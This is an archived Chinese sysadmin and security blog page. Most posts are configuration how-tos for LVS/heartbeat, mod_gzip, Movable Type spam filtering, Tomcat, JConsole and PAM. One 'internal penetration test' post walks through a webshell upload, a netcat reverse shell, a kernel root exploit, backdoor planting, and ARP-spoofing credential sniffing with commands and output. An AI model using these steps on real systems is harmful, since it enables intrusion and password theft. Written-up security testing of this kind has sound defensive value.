/sbin/ipvsadm -a -t $VIP:80 -r $RIP2:80 -g
#Run Lvs
/sbin/ipvsadm
#end
;;
stop)
echo "close LVS Directorserver"
/sbin/ipvsadm -C
;;
*)
echo "Usage: $0 {start|stop}"
exit 1
esac

2)在realserver上部署

$ vi /etc/rc.d/init.d/realserverDR

#!/bin/sh
VIP=172.16.3.76
/sbin/ifconfig lo:0 $VIP broadcast $VIP netmask 255.255.255.255 up
/sbin/route add -host $VIP dev lo:0
echo "1" > /proc/sys/net/ipv4/conf/lo/arp_ignore
echo "2" > /proc/sys/net/ipv4/conf/lo/arp_announce
echo "1" > /proc/sys/net/ipv4/conf/all/arp_ignore
echo "2" > /proc/sys/net/ipv4/conf/all/arp_announce
sysctl -p
~

二,安装heartbeat

所需软件
e2fsprogs-1.40.4.cfs1-0redhat.i386.rpm 光盘中有
libnet http://www.packetfactory.net/libnet
heartbeat-2.1.2.tar.gz http://linux-ha.org/download/

安装软件
安装e2fsprogs

rpm -ivh e2fsprogs-1.35-7.1.i386.rpm

安装libnet

tar zxvf libnet.tar.gz
cd libnet
./configure
make;make install

安装heartbeat

tar zxvf heartbeat-2.0.2.tar.gz
cd heartbeat-2.0.2
./Configureme configure
make;make install
cp doc/ha.cf doc/haresources doc/authkeys /etc/ha.d/
cp ldirectord/ldirectord.cf /etc/ha.d/
groupadd -g 694 haclient
useradd -u 694 -g haclient hacluster

修改配置

重点三个配置文件
ha.cf haresources authkeys

1, ha.cf

[root@lvsdrbak src]# awk '/^[^$]/&&/^[^#]/' /etc/ha.d/ha.cf
debugfile /var/log/ha-debug
logfile /var/log/ha-log
logfacility local0
keepalive 2
deadtime 30
warntime 10
initdead 120
udpport 694
bcast eth0 # Linux
auto_failback on
node lvsdr
node lvsdrbak
hopfudge 1

2, haresources

这个文件其实就只有一行
lvsdr IPaddr::172.16.3.76 ldirectord lvsDR

3, authkeys

auth 1
1 sha1 key-for-sha1-any-text-you-want
chmod -R 600 autykeys 权限必须是600

以上三个文件 主从服务器上一致

修改hosts

$ vi /etc/hosts

127.0.0.1 localhost.localdomain localhost
172.16.3.75 lvsdr
10.1.1.3 HA01
10.1.1.2 HA02
172.16.3.73 lvsdrbak

其中10.1.1.3与10.1.1.2是在eth0上绑的另外ip作为检测heartbeat用

三,配置ldirectord

Ldirectord的作用是监测Real Server,当Real Server失效时,把它从Load Balancer列表中删除,恢复时重新添加,在安装heartbeat时已经安装了Ldirectord。

但是在fc7中启动ldirectord会报缺少Mail/Send.pm或者LWP/useragant模块,需要安装perl模块

所需模块
lwp/useagant http://search.cpan.org/CPAN/authors/id/G/GA/GAAS/libwww-perl-5.808.tar.gz
mailsend http://search.cpan.org/CPAN/authors/id/M/MA/MARKOV/MailTools-2.02.tar.gz

生成makefile: 
perl Makefile.PL

建立模块 
make

测试模块 
make test

如果测试结果报告“all test ok”,您就可以放心地安装编译好的模块了。安装模块前,先要 
make install

配置 ldirectord 配置文件在/etc/ha.d/ldirectord.cf

[root@lvsdr lvs]# awk '/^[^$]/&&/^[^#]/' /etc/ha.d/ldirectord.cf

checktimeout=3
checkinterval=1
autoreload=yes
logfile="/var/log/ldirectord.log"
quiescent=yes
virtual=172.16.3.76:80

real=172.16.3.73:80 gate
real=172.16.3.235:80 gate
service=http
request="test.html"
receive="Test Page"
scheduler=rr
protocol=tcp
#checktype=negotiate
#checkport=80
#request="index.html"
#receive="Test Page"
#virtualhost=www.x.y.z测试 ldirectord是否可以起来

现在可以在主节点172.16.3.75启动heartbeat

/etc/init.d/heartbeat start

起来正常的结果应该是这样

[root@lvsdr src]# netstat -npl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 :::22 :::* LISTEN 2095/sshd
udp 0 0 0.0.0.0:32784 0.0.0.0:* 28530/heartbeat: wr
udp 0 0 0.0.0.0:694 0.0.0.0:* 28530/heartbeat: wr

[root@lvsdr src]# ifconfig
eth0   Link encap:Ethernet HWaddr 00:15:C5:EF:E0:D9
       inet addr:172.16.3.75 Bcast:172.16.3.255 Mask:255.255.255.0
       inet6 addr: fe80::215:c5ff:feef:e0d9/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       RX packets:58138 errors:0 dropped:0 overruns:0 frame:0
       TX packets:17891 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:8955674 (8.5 MiB) TX bytes:3217775 (3.0 MiB)
       Interrupt:16 Memory:f8000000-f8012100

eth0:0 Link encap:Ethernet HWaddr 00:15:C5:EF:E0:D9
       inet addr:172.16.3.76 Bcast:172.16.3.255 Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       Interrupt:16 Memory:f8000000-f8012100

eth0:1 Link encap:Ethernet HWaddr 00:15:C5:EF:E0:D9
       inet addr:10.1.1.3 Bcast:10.1.1.255 Mask:255.255.255.0
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       Interrupt:16 Memory:f8000000-f8012100

lo     Link encap:Local Loopback
       inet addr:127.0.0.1 Mask:255.0.0.0
       inet6 addr: ::1/128 Scope:Host
       UP LOOPBACK RUNNING MTU:16436 Metric:1
       RX packets:2493 errors:0 dropped:0 overruns:0 frame:0
       TX packets:2493 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:1339237 (1.2 MiB) TX bytes:1339237 (1.2 MiB)

tunl0  Link encap:IPIP Tunnel HWaddr
       inet addr:172.16.3.76 Mask:255.255.255.255
       UP RUNNING NOARP MTU:1480 Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:0 (0.0 b) TX bytes:0 (0.0 b)

测试:关闭主节点,备份节点将自动接管directorserver服务。

四,把备份节点也作为realserver

1. 在上述DR节点做的以外,备份节点还需要也添加realserver脚本

另外需要添加关闭备用节点的脚本

[root@lvsdr lvs]# vi /etc/rc.d/init.d/closeDR
VIP=172.16.3.76
. /etc/rc.d/init.d/functions
case "$1" in
    start)
        echo "start director server and close dr"
        ifconfig lo:0 down
        echo 1 > /proc/sys/net/ipv4/ip_forward
        echo 0 > /proc/sys/net/ipv4/conf/all/arp_announce
        ;;
    stop)
        echo "start Real Server"
        ifconfig lo:0 $VIP netmask 255.255.255.255 broadcast $VIP up
        /sbin/route add -host $VIP dev lo:0
        echo "1" >/proc/sys/net/ipv4/conf/lo/arp_ignore
        echo "2" >/proc/sys/net/ipv4/conf/lo/arp_announce
        echo "1" >/proc/sys/net/ipv4/conf/all/arp_ignore
        echo "2" >/proc/sys/net/ipv4/conf/all/arp_announce
        sysctl –p

        ;;
    *)
        echo "Usage: lvs {start|stop}"
        exit 1
esac

这个一个关闭备份节点的脚本,可以放到heartbeat里面去,在启动备用节点的时候自动关闭备份节点脚本

2, 修改备份节点的haresources

只需添加一项

[root@lvsdrbak lvs]# awk '/^[^$]/&&/^[^#]/' /etc/ha.d/haresources
lvsdr closedr IPaddr::172.16.3.76 ldirectord lvsDR

确定closedr脚本在 启动lvsDR之前就可以了。

五,测试

director服务器是 172.16.3.75
热备机是172.16.3.73
虚拟ip是172.16.3.76
realserver为 172.16.3.73 172.16.3.235
在主DR上启动服务

/etc/rc.d/init.d/heartbeat start

在ie里面输入http://172.16.3.76可以得到这两个页面
172.16.3.235下面有个index1.html 显示172.16.3.235
172.16.3.73下面有个index2.html 显示172.16.3.73
可以通过http://172.16.3.76/index1.html
http://172.16.3.76/index2.html

访问

拔掉172.16.3.75的网线,服务器切到172.16.3.73上。也能正常显示。

Posted by vitter at 2008-04-08 11:26:26 | 评论 (0) | 引用

April 01, 2008

一次Linux下ARP欺骗嗅探公司邮箱密码的内部渗透测试

by:vitter@safechina.net
blog:blog.securitycn.net

早就跟相关人员说过邮箱认证smtp和pop协议要做加密,否则在公司内网,太容易被人sniffer到明文密码了,另外邮箱密码和bbs公用,bbs也是采用的http协议,没有用https,这些都是问题。虽然我们控制的网络部分已经做过处理了,ip和mac地址做了绑定,即使有人做arp欺骗后,除非不出网关,否则欺骗后网络到达不了网关之外,因此嗅探明文邮箱密码已经不可能(由于邮箱服务器不在同一网段)。但是对于我们一些共用资源的服务器有公网ip和内网ip且处于一个相对风险较高,而且没有根据安全级别进行过相应的安全策略的网络环境内,因此一些问题是显而易见的,但是某些人根本不以为然。所以我进行了一次简单的内部渗透测试。

首先我从有公网ip和内网ip的网络段入手,如公网ip段是222.222.222.0/255.255.255.255,内网ip段192.168.0.0/255.255.255.0。

经过踩点发现222.222.222.77(192.168.0.77)上跑了一个老版本的某php的论坛。经过检测,存在上传漏洞,利用gif89a文件头欺骗漏洞上传webshell。然后上传个nst。
如图1:
1 

利用tools里面的反弹连接:
首先在本地用nc -l -p 5546监听端口
如图4:
4

然后在nst上点Back connect
如图2:(注意红色部分)
2

成功登陆
如图3:
3

图5:
5

在本地nc的窗口操作:
id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
权限低了点,可以利用前一段时间linux内核vmsplice本地提升权限漏洞。先用nst上传代码:
如图6:(注意红色部分,上传成功)
6

回到nc窗口:
cp in.c /tmp

cd /tmp

ls
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

gcc -o in in.c

ls
in
in.c
nst_c_bc_c.c
sess_af927ee319af5d5569b61ac520e53fcf
ssh-ZeOfP16753
tunl0

/tmp/in
bash: no job control in this shell
[root@bbs111 tmp]# id
uid=0(root) gid=0(root) groups=99(nobody)
[root@bbs111 tmp]#

已经是root权限了,下一步上传俺修改过的常用的后门,这个以前写过 一篇文章介绍如何留后门的,这里就不叙述了(替换sshd和部分命令,可隐藏端口、连接、文件、进程等)。

擦擦pp,进行下一步我们的重点。

我们还是直接用后门sshd登录。还是ssh舒服点:)
如图7:
7

在SecureCRT下利用rz命令上传我们用到的arpsniffer.c,然后编译:

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

报错,可能是没装libnet的缘故,看说明Make: first you must install "pcap" and "libnet" 确定arpsniffer.c需要先装pcap和 libnet。

[root@bbs111 root]# rpm -ivh libnet-1.1.2.1-2.1.fc2.rf.i386.rpm
[root@bbs111 root]# wget http://downloads.sourceforge.net/libpcap/libpcap-0.8.1.tar.gz?modtime=1072656000&big_mirror=0
[root@bbs111 root]# tar zxvf libpcap-0.8.1.tar.gz
[root@bbs111 root]# cd libpcap-0.8.1
[root@bbs111 libpcap-0.8.1]# ./configure
[root@bbs111 libpcap-0.8.1]# make
[root@bbs111 libpcap-0.8.1]# make install

准备工作已经ok。下面重新编译arpsniffer.c

[root@bbs111 root]# gcc -I/usr/local/include -L/usr/local/lib -o arpsniffer arpsniffer.c -lpcap -lnet

这次没报错,编译成功。

[root@bbs111 root]# ./arpsniffer
====================================
============Arp Sniffer=============
==========Write by Paris-Ye=========
===Usage: ./arpsniffer -I [interface] -M [Self IP] -W [Workstation IP] -S [Server IP] -P [port]
===For example:
        ./arpsniffer -I eth0 -M 192.168.0.6 -W 192.168.0.4 -S 192.168.0.254

下面开始欺骗,由于是服务器端,因此我们欺骗网关:(网络环境如下,邮件服务器ip:192.168.0.11 网关:192.168.0.1 本机:192.168.0.77)

[root@bbs111 root]# ./arpsniffer -I eth0 -M 192.168.0.77 -W 192.168.0.1 -S 192.168.0.11 -P 110
110
110
Get network cards mac address:
M-> 00:0e:a6:a5:80:4f
W-> 00:0f:e2:23:05:d0
S-> 00:d0:b7:88:07:59

Now Start... .. .

在另一个登录里面用tcpdump监听下:

[root@bbs111 root]# tcpdump -i eth0 host 192.168.0.11

发现有数据,把监听的数据存在文件里面:

[root@bbs111 root]# tcpdump -i eth0 host 172.16.0.12 -w pop.txt

10分钟后停止,在SecureCRT下用sz命令下载pop.txt到本地,然后用Ethereal分析。果然发现明文用户名和密码。

下面我们就可以用linsniffer监听我们想要的用户名和密码了。
先修改linsniffer.c:根据自己的需求监听相应的应用密码。我的如下:

   if(ntohs(tcp->dest)==21)  p=1; /* ftp */
   if(ntohs(tcp->dest)==22)  p=1; /* ssh for comparison added for example only comment out if desired*/
   if(ntohs(tcp->dest)==23)  p=1; /* telnet */
   if(ntohs(tcp->dest)==80) p=1;  /* http */
   if(ntohs(tcp->dest)==110) p=1; /* pop3 */
   if(ntohs(tcp->dest)==513) p=1; /* rlogin */
   if(ntohs(tcp->dest)==106) p=1; /* poppasswd */

[root@bbs111 root]# gcc -o linsniffer linsniffer.c
In file included from /usr/include/linux/tcp.h:21,
                 from linsniffer.c:32:
/usr/include/asm/byteorder.h:6:2: warning: #warning using private kernel header; include <endian.h> instead!

不用管警告,直接运行编译后的linsniffer即可。

[root@bbs111 root]# ./linsniffer

用户名和密码都自动存到了tcp.log下。如图8:
 8

经过测试后,我们把某人的用户名和密码发给某人,相信他再不会想当然的说sniffer不可能了。下面我们利用我们嗅探到的密码做个密码表,进行新一轮进一步的内网渗透测试。相信在我们根据渗透测试结果,进行相关安全技术改造和安全管理规范制度改造后,我们的网络的安全性会大大提升。

文中所用工具下载:ARP sniffer Tools.rar

Posted by vitter at 2008-04-01 13:10:21 | 评论 (17) | 引用

March 26, 2008

用mod_gzip对Apache1.3做Web压缩

by:vitter@safechina.net
blog:blog.securitycn.net

一、安装

1.下载源程序

可以从http://sourceforge.net/下载mod_gzip(这个模块已经很久没有维护了,apache 2.x已经内置有mod_deflate压缩模块)的源程序,使用源

程序编译生成Apache的模块(Module)。

2.解压源程序

tar -zxvf mod_gzip-1.3.26.1a.tgz

3.编译

进入源程序所在的目录进行编译,生成相应的动态链接库。编译需要指定参数APXS的相应位置:

make APXS=/usr/local/apache/bin/apxs

但是有报错,以下是编译mod_gzip报的错:
make APXS=/usr/local/apache/bin/apxs

/usr/local/apache/bin/apxs -Wc,-Wall,-O3,-fomit-frame-pointer,-pipe -c mod_gzip.c mod_gzip_debug.c mod_gzip_compress.c -o

mod_gzip.so
gcc -DLINUX=22 -DHAVE_SET_DUMPABLE -I/usr/include/gdbm -DUSE_HSREGEX -fpic -DSHARED_MODULE -I/usr/local/apache/include -Wall,-

O3,-fomit-frame-pointer,-pipe -c mod_gzip.c
cc1: error: unrecognized command line option "-Wall,-O3,-fomit-frame-pointer,-pipe"
apxs:Break: Command failed with rc=1
make: *** [build] Error 1

只好把Makefile中的:-Wall,-O3,-fomit-frame-pointer,这几个选项去掉,然后编译就通过了。
我的gcc版本:
Using built-in specs.
Target: i386-redhat-linux
Configured with: ../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-

threads=posix --enable-checking=release --with-system-zlib --enable-__cxa_atexit --disable-libunwind-exceptions --enable-

libgcj-multifile --enable-languages=c,c++,objc,obj-c++,java,fortran,ada --enable-java-awt=gtk --disable-dssi --enable-plugin -

-with-java-home=/usr/lib/jvm/java-1.4.2-gcj-1.4.2.0/jre --with-cpu=generic --host=i386-redhat-linux
Thread model: posix
gcc version 4.1.1 20070105 (Red Hat 4.1.1-52)

(去了那几个选项也没什么影响,配置后重启已经gzip压缩了)

将mod_zip安装到Apache服务器中,其中也要指定APXS的具体位置:

make install  APXS=/usr/local/apache/bin/apxs

4.调用mod_gzip模块

在Apache的配置文件httpd.conf中增加LoadModule参数,调用mod_gzip模块。

LoadModule gzip_module modules/mod_gzip.so

5.测试

运行以下命令测试安装是否成功:

/apache/bin/apachectl configtest

如果出现“Syntax OK”,则说明Apache中已经成功安装上mod_gzip的压缩模块了。

二、Apache中关于mod_gzip的配置

修改Apache的配置文件httpd.conf:

1.增加mod_gzip模块的调用

LoadModule gzip_module modules/mod_gzip.so

2.开启压缩功能

mod_gzip_on Yes

3.设置压缩文件的最小值(bytes)

mod_gzip_minimum_file_size 1000

4.设定压缩文件的最大值(bytes)

mod_gzip_maximum_file_size 1500000

5.最大占用内存(bytes)

mod_gzip_maximum_inmem_size 60000

如果您是安裝 mod_gzip 1.3.19.x 的版本,该设定值会被自动限定 60000 的大小。

6.设定压缩文件的临时目录

mod_gzip_temp_dir /tmp/mod_gzip

7.设定是否保持压缩的工作临时文件

mod_gzip_keep_workfiles No

8.设定各种需要压缩的文件及扩展名

mod_gzip_item_include file \.htm$
mod_gzip_item_include file \.html$
mod_gzip_item_include file \.php$
mod_gzip_item_include file \.php3$
mod_gzip_item_include file \.cgi$
mod_gzip_item_include mime ^text/html$
mod_gzip_item_include mime ^httpd/unix-directory$
mod_gzip_item_include handler proxy-server

mod_gzip_item_exclude mime ^image/
mod_gzip_item_exclude file \.js$
mod_gzip_item_exclude file \.css$
mod_gzip_item_exclude file \.zip$
mod_gzip_item_exclude file \.gz$
mod_gzip_item_exclude file \.exe$
mod_gzip_item_exclude file \.mp3$
mod_gzip_item_exclude file \.pdf$
mod_gzip_item_exclude file \.rar$

mod_gzip_item_include mime text/.*
mod_gzip_item_include mime httpd/unix-directory

mod_gzip_item_exclude
mod_gzip_item_include
指定 mod_gzip 过滤器。決定何种文件格式要進行压缩或不压缩。

   mod_gzip_item_exclude -> 表示該文件格式不启用压缩功能。

   mod_gzip_item_include -> 表示該文件格式要启用压缩功能。

9.指定针对 HTTP 的何种资料串模式进行压缩

mod_gzip_handle_methods GET

10. 指定浏览器使用的 HTTP 协议版本

mod_gzip_min_http 1000

当浏览器使用的 HTTP 协议版本大于等于此设定值是,才才会进行压缩动作。

   1000 = HTTP/1.0, 1001 = HTTP/1.1, ... 依此类推。

11.log记录

LogFormat "%h %l %u %t /"%V %r/" %<s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n -< Out:%

{mod_gzip_output_size}n = %{mod_gzip_compression_ratio}n pct." common_with_mod_gzip_info2
自定 Log-file 的格式和名称。

CustomLog logs/mod_gzip.log common_with_mod_gzip_info2
指定 Log-file 的存放位置以及要使用的格式名称。如果您有使用 VirtualHost 且在其中指定 CustomLog 的話,請将此行注释。因每个 Host

只能使用一个 CustomLog 設定項。

至于其他的设定格式,请自行参照 mod_gzip.conf 中的范例。

12.在crontab中加入清空临时文件的设置:

23 23 * * * (/usr/bin/find /tmp/mod_gzip_tmp -mtime +0 |/usr/bin/xargs rm -f)

三、常见问题及解决方法

1.解决调用标准zlib问题

如果在编译mod_gzip的时候没有指定zlib类库的具体位置,那么它默认路径就是/usr/local/lib,当你的zlib不在这个目录下面的时候,就会报

如下错误提示:

Cannot load /httpd/modules/mod_gzip.so into server/httpd/modules/mod_gzip.so: undefined symbol: top_module (或者是deflate)

解决方法就是,在编译mod_gzip的时候,编辑Makefile文件增加两个参数,分别指向zlib的存放目录:

INC=-I/usr/includeLIB=-lz -L/usr/lib

编辑ld.so.conf文件,在其中增加存放zlib标准类库的具体目录,然后运行ldconfig。

这样更改以后,Apache就不会上述出现问题了。

2.Apache中jk2模块有可能和mod_gzip冲突

这种现象会出现在Apache2、jk2及mod_gzip2.0.40配合的时候。最简单的解决办法是,改变应用环境的版本,使用Apache1.3、jk及mod_gzip1.3

配合就会避免产生这种冲突。

3.实现对servlet的压缩

我们在httpd.conf文件中增加相应的压缩配置文件,就可以实现对servlet进行压缩了。

mod_gzip_item_include handler jakarta-servlet
mod_gzip_item_include handler jakarta-servlet$
mod_gzip_item_include handler ^jakarta-servlet
mod_gzip_item_include handler ^jakarta-servlet$
mod_gzip_item_include handler ^^jakarta-servlet$

Posted by vitter at 2008-03-26 16:41:57 | 评论 (0) | 引用

February 29, 2008

MT 防止垃圾的 Trackback 的方法

昨天被垃圾Trackback给害惨了。死机2次,只好临时的禁止了,现在有解决办法了。

跟做防止Spam comment垃圾留言的时候类似,具体解决方法如下:

mt-tb.cgi 是处理 trackback 的程序,这个程序拿到了 trackback 后进行插入数据库处理。

trackback 的数据结构定义在:
lib/MT/TBPing.pm 里面,有如下结构:

my $ping = MT::TBPing->new;
$ping->blog_id($tb->blog_id);
$ping->tb_id($tb->id);
$ping->title('Foo');
$ping->excerpt('This is from a TrackBack ping.');
$ping->source_url('http://www.foo.com/bar');
$ping->save
or die $ping->errstr;

其中 'excerpt'就是文字描述部分,可以进行检查有没有中文的判断,如果没有中文,就当做spam处理,直接中断:

if ($ENV{'REQUEST_METHOD'} eq "POST") {
my $tck = param('excerpt');
die if($tck ne "" && $tck !~ /[\x80-\xff]/);
}

将以上四句话加到 mt-tb.cgi 里面 use strict; 后就应该起作用了。

Posted by vitter at 2008-02-29 16:53:32 | 评论 (0) | 引用

MT 防止垃圾留言的新方法

MT系统的垃圾留言有一个特征,就是留言里面很多联接,非常烦人,在尝试了采用对评论提交后匹配有多少个联接出现在留言里,然后判断是否是垃圾留言是一个好办法来防止大多数的留言。我测试了大约一周,效果比较明显。

以下代码紧跟在mt-comments.cgi的use strict;下面。

use CGI qw(:standard);
if ($ENV{'REQUEST_METHOD'} eq "POST") {
my $tck = param('text');
die if($tck ne "" && $tck !~ /[\x80-\xff]/);
# 以上判断是否是中文留言
my $ncom = 0;
while ( $tck =~ /http/g ) { $ncom ++ ; }
die if( $ncom > 1 );
# 以上判断有多少个URL出现
}

这里 $ncom 就是计算里面的联接个数,如果大于1,就当做垃圾留言了,直接中断。这个可以做适当的调整。

更多的内容请看以前写的Mt 系统如何防止垃圾留言以及如何通过 .htaccess 禁止垃圾 refer ,这里面提到了现有的常用的垃圾留言的处理方案。

Posted by vitter at 2008-02-29 16:11:22 | 评论 (2) | 引用

January 29, 2008

Tomcat中catalina.out日志的轮转

by:vitter
http://blog.securitycn.net

Tomcat下的catalina.out文件很大,但是tomcat不像apache一样有log轮转小工具。只好又找了个小工具:cronolog

1、下载:cronolog-1.6.2.tar.gz

2、安装

# tar zxvf cronolog-1.6.2.tar.gz
# cd cronolog-1.6.2
# ./configure
# make
# make install

默认安装在/usr/local/sbin/下。

3、配置

在tomcat的bin目录的catalina.sh中找到2行:

org.apache.catalina.startup.Bootstrap "$@" start \
      >> "$CATALINA_BASE"/logs/catalina.out 2>&1 &

改成:

org.apache.catalina.startup.Bootstrap "$@" start \
      |/usr/local/sbin/cronolog "$CATALINA_BASE"/logs/catalina.%Y-%m-%d.out >> /dev/null 2>&1 &

重启tomcat,在logs下新生成的文件就是catalina.2008-01-29.out了,会每天自动轮转。

参考:

《日志分割文档》

Posted by vitter at 2008-01-29 19:54:15 | 评论 (0) | 引用

January 04, 2008

JConsole的连接问题

使用JCONSOLE监控远程LINUX运行的JAVA进程,总是在报连接失败的错误。

默认的配置文件所在目录。jre/lib/management/jmxremote.password 配置用户名和密码。文件访问权限要严格限制,否则程序无法启动(有提示)。

resin启动:httpd.sh -Xmx1024M -Dcom.sun.management.jmxremote.port=8000 -Dcom.sun.management.jmxremote.ssl=false start
被监控的服务器端增加启动参数意义

-Dcom.sun.management.jmxremote.port=8000
rmiregistry端口8000


-Dcom.sun.management.jmxremote.ssl=false
不用ssl就关闭掉,忘了默认是不是打开的

2)本机上使用jconsole连接远程的8000端口
报连接失败,检查网络情况,8000端口有在监听等待,本地机器能够连接上对端机器的8000端口。切换了一台FreeBSD机器,情况依旧。
3)去网上找了一下。该网文链接如下:
http://svr.wjworld.net/soft/P1558/I7132389.shtml
4)尝试抓包分析,发现是RMI的二进制协议,无法解读,报文中有127.0.0.1等字眼,从关键字判断是RMI下载的STUB文件。
5)继续查找,发现了一篇有价值的文章谈到这个问题,是服务器端解释机器名的问题,如果服务器端hostname -i被定向到127.0.0.1则会出现连接失败的问题。修改/etc/hosts文件,使hostname -i 指向正确的IP,还是不行。
这篇文章链接如下:
http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=6209663
6)停止服务器防火墙,可以连上,问题解决。发现
netstat -lntp
除了8000正常端口外java还开了一个端口,而JConsole连接过来的是另一个端口,而且重启后这个端口是随机的,每次启动JVM都会变。tcpdump抓包发现每次都连接8000之后连另外随机的端口。没办法暂时防火墙只好开高端口。
7)可能的问题原因分析:JCONSOLE连接上监控的进程,从监控进程下载了RMI远程调用的STUB文件?该STUB访问服务器的进程,
服务器端的地址可能是通过hostname -i类似机制获得。
8)对于防火墙的问题:google到下面一些解决方式:


set JAVA_OPTS=%JAVA_OPTS% -Dcom.sun.management.jmxremote.port=7878
这样是表示端口方式的访问,用jconsole连接的时候,serviceUrl是: xxx.xxx.xxx.xxx:7878
在java程序中可以创建JMXConnectorServer,jmx 的serviceUrl可以写成 :
service:jmx:rmi://xxx.xxx.xxx.xxx:3001/jndi/rmi://xxx.xxx.xxx.xxx:9875/myconnector
服务端代码:

MBeanServer mbs = MBeanServerFactory.createMBeanServer("HelloAgent");
Registry aa=LocateRegistry.createRegistry(9000);
String rmiurl = "service:jmx:rmi://localhost:3001/jndi/rmi://localhost:9000/server";
JMXServiceURL url= new JMXServiceURL(rmiurl);
Map<String,String> env = new HashMap<String,String>();
JMXConnectorServer jmxcs=JMXConnectorServerFactory.newJMXConnectorServer(url, env, mbs);
客户端代码
JMXServiceURL url = new JMXServiceURL(rmiurl);
javax.management.remote.JMXConnector jmxc = javax.management.remote.JMXConnectorFactory
.connect(url);
MBeanServerConnection msc = jmxc.getMBeanServerConnection();

http://www.javaeye.com/topic/59378


http://crmky.spaces.live.com/blog/cns!8C989768DB1A6B14!481.entry

Posted by vitter at 2008-01-04 17:32:30 | 评论 (0) | 引用

freebsd的jdk中文乱码解决

在jdk15以后,只需在jre/lib/fonts/下建一个fallback目录,把你想在java中使用的字体烤贝到这个目录中即可,不需再去改fonts.dir文件。或者,比如我的系统中 simsun 等中文字体安装在 /usr/local/share/TrueType,就只需
cd /usr/local/jdk1.5.0/jre/lib/fonts
ln -s /usr/local/share/TrueType fallback
就可以正常现实中文了

Posted by vitter at 2008-01-04 13:22:49 | 评论 (0) | 引用

December 07, 2007

linux控制用户的登录地点以及PAM的用法

控制用户的登录地点

文件/etc/secruity/access.conf可控制用户登录地点,为了使用access.conf,必须在文件/etc/pam.d/login中加入下面行:

account required /lib/security/pam_access.so

access.conf文件的格式:

permission : users : origins

其中:

permission:可以是 “+”或“-”,表示允许或拒绝。
user:可以是用户名、用户组名,如果是all则表示所有用户。
origins:登录地点。local表示本地,all表示所有地点,console表示控制台。另外,origins也可以是某一网络。

后面两个域中加上 except是“除了”的意思。例如:除了用户wheel、shutdown、sync禁止所有的控制台登录:

-:ALL EXCEPT wheel shutdown sync:console

root账户的登录地点不在access.conf文件中控制,而是由/etc/securetty文件控制。

必须保证/etc/pam.d/login有下面这行:

auth       required     pam_securetty.so

etc/securetty文件指定了允许root登录的tty设备,由/bin/login程序读取,其格式是一个被允许的名字列表,你可以编辑/etc/securetty且注释掉如下的行。

   # tty2
  # tty3
  # tty4
  # tty5
  # tty6

这时,root仅可在tty1终端登录。

关于PAM的一些解释

热身:

何要授予用户特权的程序都要能够进行用户认证。当您登入系统时,您需要提供用户名和口令,而后登入进程据此以检验登入的合法性---确认您就是该用户。还有除口令认证之外的其他认证形式,而且口令的存储方式也是各不相同的。

1、说明

A、PAM可加载目标文件(模块)是在RedHat Linux系统中它们被放在了/lib/security目录下
B、PAM库本地系统配置文件/etc/pam.conf OR /etc/pam.d/目录下的一些配置文件来设置

2、# more login

#%PAM-1.0
auth       required     pam_securetty.so
    用来控制root用户只可以从包含在/etc/securetty文件中的终端登录系统。
auth       required     pam_stack.so service=system-auth
auth       required     pam_nologin.so
    提供标准的UNIX nologin登录认证。如果/etc/nologin文件存在,则只有root用户可以登录,其他用户登录时只会得到/etc/nologin文件的内容。如果/etc/nologin不存在,则该模块没有作用。
account    required     pam_stack.so service=system-auth
password   required     pam_stack.so service=system-auth
# pam_selinux.so close should be the first session rule
session    required     pam_selinux.so close
session    required     pam_stack.so service=system-auth
session    optional     pam_console.so
# ls -l /dev/pts/1
crw--w----  1 root tty 136, 1 May 15 21:19 /dev/pts/1
# ls -l /dev/pts/2
crw--w----  1 test tty 136, 2 May 15 21:20 /dev/pts/2
  用户登陆时,它将TTY设备权限改成该用户所有,当用户退出时,将TTY设备权限改为root所有。
# pam_selinux.so open should be the last session rule
session    required     pam_selinux.so multiple open
login要做两件事,首先查询用户,然后为用户提供所需服务,例如提供一个shell程序。
通常,login会提示用户输入密码。然后对密码进行校验,这项任务就是Linux-PAM完成的。

上例中三个required连续使用, 即便第一个模块失败了,也要完成三个模块的校验。这是一种安全上的考虑 ---这种设计永远不要让用户知道他或她们为什么会被拒绝,否则会让其更容易突破认证。可以将“required”改成“requisite”来修改这种认证方式。如果有任何“requisite”模块以失败返回,整个PAM认证将终止再调用其它模块也以失败返回。

3、pam_unix认证模块

所属类型: account; auth; password; session

功能描述:该模块是标准UNIX认证模块pam_unix的替代模块。

在作为auth类型使用时,此时该模块可识别的参数有debug、audit、use_first_pass、try_first_pass、nullok、nodelay,主要功能是验证用户密码的有效性,在缺省情况下(即不带任何参数时),该模块的主要功能是禁止密码为空的用户提供服务;

auth        required      /lib/security/$ISA/pam_env.so
auth        sufficient    /lib/security/$ISA/pam_unix.so likeauth nullok
auth        required      /lib/security/$ISA/pam_deny.so

在作为account类型使用时,此时该模块可识别的参数有debug、audit,该模块主要执行建立用户帐号和密码状态的任务,然后执行提示用户修改密码,用户采用新密码后才提供服务之类的任务;

account     required      /lib/security/$ISA/pam_unix.so
account     sufficient    /lib/security/$ISA/pam_succeed_if.so uid < 100 quiet
account     required      /lib/security/$ISA/pam_permit.so

在作为password类型使用时,此时该模块可识别的参数有debug、 audit、 nullok;、not_set_pass、use_authtok、try_first_pass、use_first_pass、md5、bigcrypt、shadow、nis、

remember,该模块完成让用户更改密码的任务;

password    requisite     /lib/security/$ISA/pam_cracklib.so retry=3
password    sufficient    /lib/security/$ISA/pam_unix.so nullok use_authtok md5
shadow
password    required      /lib/security/$ISA/pam_deny.so

